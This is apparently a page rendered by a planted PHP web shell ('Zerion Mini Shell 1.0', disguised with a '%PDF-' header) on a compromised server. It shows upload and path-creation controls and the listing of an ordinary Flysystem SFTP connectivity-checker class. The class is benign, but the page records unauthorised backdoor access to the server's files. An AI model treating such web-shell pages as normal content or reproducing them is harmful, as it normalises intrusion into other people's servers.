%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/vendor/league/flysystem-sftp/
Upload File :
Create Path :
Current File : /var/www/vendor/league/flysystem-sftp/FixatedConnectivityChecker.php

<?php

declare(strict_types=1);

namespace League\Flysystem\PhpseclibV2;

use phpseclib\Net\SFTP;

class FixatedConnectivityChecker implements ConnectivityChecker
{
    /**
     * @var int
     */
    private $succeedAfter;

    /**
     * @var int
     */
    private $numberOfTimesChecked = 0;

    public function __construct(int $succeedAfter = 0)
    {
        $this->succeedAfter = $succeedAfter;
    }

    public function isConnected(SFTP $connection): bool
    {
        if ($this->numberOfTimesChecked >= $this->succeedAfter) {
            return true;
        }

        $this->numberOfTimesChecked++;

        return false;
    }
}

Zerion Mini Shell 1.0